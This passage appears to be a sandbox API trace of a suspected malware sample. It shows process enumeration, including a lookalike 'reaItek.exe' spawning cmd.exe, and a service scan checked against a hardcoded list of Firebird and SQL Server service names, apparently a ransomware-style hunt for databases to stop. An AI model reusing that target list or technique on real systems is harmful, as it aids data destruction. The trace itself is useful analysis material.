pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0107.451] lstrlenW (lpString="courage.exe") returned 11 [0107.451] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0107.451] lstrlenW (lpString="pearl.exe") returned 9 [0107.452] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0107.452] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0107.452] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0107.453] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0107.453] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0107.454] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0107.454] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0107.455] lstrlenW (lpString="dome.exe") returned 8 [0107.455] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0107.456] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0107.456] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0107.457] lstrlenW (lpString="paying.exe") returned 10 [0107.457] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0107.458] lstrlenW (lpString="emission.exe") returned 12 [0107.458] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0107.459] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0107.459] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0107.460] lstrlenW (lpString="charter.exe") returned 11 [0107.460] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0107.461] lstrlenW (lpString="nickel.exe") returned 10 [0107.461] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0107.462] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0107.462] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0107.463] lstrlenW (lpString="wrist.exe") returned 9 [0107.463] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0107.464] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0107.464] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0107.465] lstrlenW (lpString="neck.exe") returned 8 [0107.465] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0107.466] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0107.466] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0107.467] lstrlenW (lpString="dllhost.exe") returned 11 [0107.467] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.468] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.468] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.470] lstrlenW (lpString="svchost.exe") returned 11 [0107.470] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0107.471] lstrlenW (lpString="reaItek.exe") returned 11 [0107.471] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.472] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0107.472] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0107.473] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0107.473] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.474] lstrlenW (lpString="conhost.exe") returned 11 [0107.474] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0107.475] lstrlenW (lpString="cmd.exe") returned 7 [0107.475] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.476] lstrlenW (lpString="conhost.exe") returned 11 [0107.476] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0107.477] lstrlenW (lpString="sppsvc.exe") returned 10 [0107.477] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0107.478] lstrlenW (lpString="mode.com") returned 8 [0107.478] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0107.479] CloseHandle (hObject=0x33c) returned 1 [0107.479] Sleep (dwMilliseconds=0x1f4) [0107.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fed68 [0107.999] EnumServicesStatusExW (in: hSCManager=0x5fed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0108.000] GetLastError () returned 0xea [0108.000] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0108.000] EnumServicesStatusExW (in: hSCManager=0x5fed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0108.003] CloseServiceHandle (hSCObject=0x5fed68) returned 1 [0108.003] lstrlenW (lpString="Appinfo") returned 7 [0108.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0108.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0108.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0108.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0108.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0108.003] lstrlenW (lpString="AppXSvc") returned 7 [0108.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0108.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0108.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0108.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0108.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0108.004] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0108.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0108.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0108.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0108.004] lstrlenW (lpString="Audiosrv") returned 8 [0108.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0108.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0108.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0108.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0108.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0108.004] lstrlenW (lpString="BFE") returned 3 [0108.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0108.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0108.004] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0108.004] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0108.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0108.004] lstrlenW (lpString="BITS") returned 4 [0108.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0108.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0108.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0108.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0108.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0108.005] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0108.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0108.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0108.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0108.005] lstrlenW (lpString="CDPSvc") returned 6 [0108.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0108.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0108.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0108.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0108.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0108.005] lstrlenW (lpString="ClickToRunSvc") returned 13 [0108.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0108.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0108.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0108.005] lstrlenW (lpString="ClipSVC") returned 7 [0108.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0108.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0108.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0108.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0108.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0108.006] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0108.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0108.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0108.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0108.006] lstrlenW (lpString="CryptSvc") returned 8 [0108.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0108.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0108.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0108.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0108.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0108.006] lstrlenW (lpString="DcomLaunch") returned 10 [0108.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0108.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0108.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0108.006] lstrlenW (lpString="DeviceAssociationService") returned 24 [0108.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0108.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0108.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0108.006] lstrlenW (lpString="Dhcp") returned 4 [0108.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0108.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0108.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0108.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0108.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0108.007] lstrlenW (lpString="Dnscache") returned 8 [0108.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0108.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0108.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0108.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0108.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0108.007] lstrlenW (lpString="DoSvc") returned 5 [0108.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0108.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0108.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0108.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0108.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0108.007] lstrlenW (lpString="DPS") returned 3 [0108.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0108.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0108.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0108.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0108.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0108.007] lstrlenW (lpString="DusmSvc") returned 7 [0108.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0108.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0108.008] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0108.008] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0108.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0108.008] lstrlenW (lpString="EventLog") returned 8 [0108.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0108.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0108.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0108.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0108.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0108.008] lstrlenW (lpString="EventSystem") returned 11 [0108.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0108.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0108.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0108.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0108.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0108.008] lstrlenW (lpString="FontCache") returned 9 [0108.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0108.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0108.008] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0108.008] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0108.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0108.008] lstrlenW (lpString="gpsvc") returned 5 [0108.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0108.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0108.008] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0108.008] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0108.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0108.009] lstrlenW (lpString="iphlpsvc") returned 8 [0108.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.009] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0108.009] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0108.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0108.009] lstrlenW (lpString="KeyIso") returned 6 [0108.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0108.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0108.009] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0108.009] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0108.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0108.009] lstrlenW (lpString="LanmanServer") returned 12 [0108.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0108.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0108.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0108.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0108.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0108.009] lstrlenW (lpString="LanmanWorkstation") returned 17 [0108.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0108.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0108.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0108.009] lstrlenW (lpString="lfsvc") returned 5 [0108.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0108.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0108.010] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0108.010] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0108.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0108.010] lstrlenW (lpString="LicenseManager") returned 14 [0108.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0108.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0108.010] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0108.010] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0108.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0108.010] lstrlenW (lpString="lmhosts") returned 7 [0108.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0108.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0108.010] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0108.010] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0108.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0108.010] lstrlenW (lpString="LSM") returned 3 [0108.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0108.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0108.010] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0108.010] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0108.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0108.010] 